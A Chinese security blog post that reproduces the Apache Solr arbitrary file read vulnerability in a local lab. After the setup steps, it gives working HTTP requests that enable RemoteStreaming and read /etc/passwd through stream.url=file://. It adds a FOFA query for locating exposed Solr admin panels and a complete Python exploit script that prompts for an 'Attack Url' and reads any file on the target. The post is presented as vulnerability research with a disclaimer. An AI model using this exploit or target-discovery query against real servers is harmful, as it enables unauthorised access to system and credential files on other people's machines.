看见大表哥们都在说这个Apache Solr文件读取漏洞,鉴于之前未接触过该中间件,所以想着复现一下
Apache Solr是一个开源搜索服务引擎,Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
它的主要特点包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
Apache solr<=8.8.1
下载solr,下载solr<=8.8.1,由于已经有文章复现的环境是8.8.1而且是windows下复现,想着来一点与众不同的,测试一下低于8.8.1版本的solr是否真的存在,所以选择版本为7.5.0
>https://archive.apache.org/dist/lucene/solr/7.5.0/
**注意别下载错,<避免踩坑>**
当然使用命令下载也可
>wget https://archive.apache.org/dist/lucene/solr/7.5.0/solr-7.5.0-src.tgz
下载之后解压
>tar -zxvf solr-7.5.0-src.tgz
将解压后的目录放到/usr/local目录下
>mv solr-7.5.0 /usr/local
进入/usr/local/solr-7.5.0
>cd /bin
启动solr服务
> ./solr start -force
访问web页面查看服务已经起来
创建core,在**root@kali:/usr/local/solr-7.5.0/server/solr**创建一个测试目录**ceshi**
>mkdir ceshi
下面是踩过的"坑"
有一些大表哥之前有部署过solr,创建core的时候,复制文件的路径注意**不是**
>/usr/local/solr-7.5.0/server/solr/configsets/sample_techproducts_configs/conf
如果复制的是该位置的文件,创建core的时候会报错
>Error CREATEing SolrCore 'new_core': Unable to create core [new_core] Caused by: Missing config file
这里创建core是,配置文件复制的路径为
>/usr/local/solr-7.5.0/server/solr/configsets/_default
将该文件夹下的是所有文件都复制进刚才创建的**ceshi**目录下
>root@kali:/usr/local/solr-7.5.0/server/solr/configsets/_default/conf# cp -r * /usr/local/solr-7.5.0/server/solr/ceshi/
这个时候登录web界面,进行配置
配置成功如下
1.获取core名称
>http://192.168.213.128:8983/solr/admin/cores?wt=json
2.通过solr config 的接口启用RemoteStreaming
POC如下:
``` POST /solr/ceshi/config HTTP/1.1 Host: 192.168.213.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 80 Content-Type: application/json Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}} ```
返回包如下代表开启成功
``` HTTP/1.1 200 OK Connection: close Content-Type: text/plain;charset=utf-8 Content-Length: 149 { "responseHeader":{ "status":0, "QTime":313}, "WARNING":"This response format is experimental. It is likely to change in the future."} ```
3.构造paylod,实现任意文件读取
``` POST /solr/ceshi/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.213.128:8983 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Origin: http://192.168.213.128:8983 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.213.128:8983/solr/ceshi/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close stream.url=file:///etc/passwd
fofa语句
>title="Solr Admin"
POC脚本
``` import requests import sys import random import re import base64 import time from lxml import etree import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: Apache Solr < 8.2.0 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 33[0m') print('+ 33[36mFile >>> 文件名称或目录 33[0m') print('+------------------------------------------') def POC_1(target_url): core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json" try: response = requests.request("GET", url=core_url, timeout=10) core_name = list(json.loads(response.text)["status"])[0] print("33[32m[o] 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config33[0m") return core_name except: print("33[31m[x] 目标Url漏洞利用失败33[0m") sys.exit(0) def POC_2(target_url, core_name): vuln_url = target_url + "/solr/" + core_name + "/config" headers = { "Content-type":"application/json" } data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) print("33[36m[o] 正在准备文件读取...... 33[0m".format(target_url)) if "This" in response.text and response.status_code == 200: print("33[32m[o] 目标 {} 可能存在漏洞 33[0m".format(target_url)) else: print("33[31m[x] 目标 {} 不存在漏洞33[0m".format(target_url)) sys.exit(0) except Exception as e: print("33[31m[x] 请求失败 33[0m", e) def POC_3(target_url, core_name, File_name): vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name) headers = { "Content-Type": "application/x-www-form-urlencoded" } data = 'stream.url=file://{}'.format(File_name) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) if "No such file or directory" in response.text: print("33[31m[x] 读取{}失败 33[0m".format(File_name)) else: print("33[36m[o] 响应为:\n{} 33[0m".format(json.loads(response.text)["streams"][0]["stream"])) except Exception as e: print("33[31m[x] 请求失败 33[0m", e) if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack Url\nUrl >>> 33[0m")) core_name = POC_1(target_url) POC_2(target_url, core_name) while True: File_name = str(input("33[35mFile >>> 33[0m")) POC_3(target_url, core_name, File_name) ```
POC来源:
>http://wiki.peiqi.tech/
脚本未做验证,能否使用自行验证,这里仅作安全交流分享,各种非法使用风险均有使用者承担。
目前没有补丁,所以建议部署在内网使用比较安全
``` https://www.freebuf.com/vuls/266685.html https://mp.weixin.qq.com/s/crokM3WHCNAKhr_z424ZQQ ```
才疏学浅,如有错误欢迎师傅们指正!!!
本文作者:Am1azi3ng
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/155304.html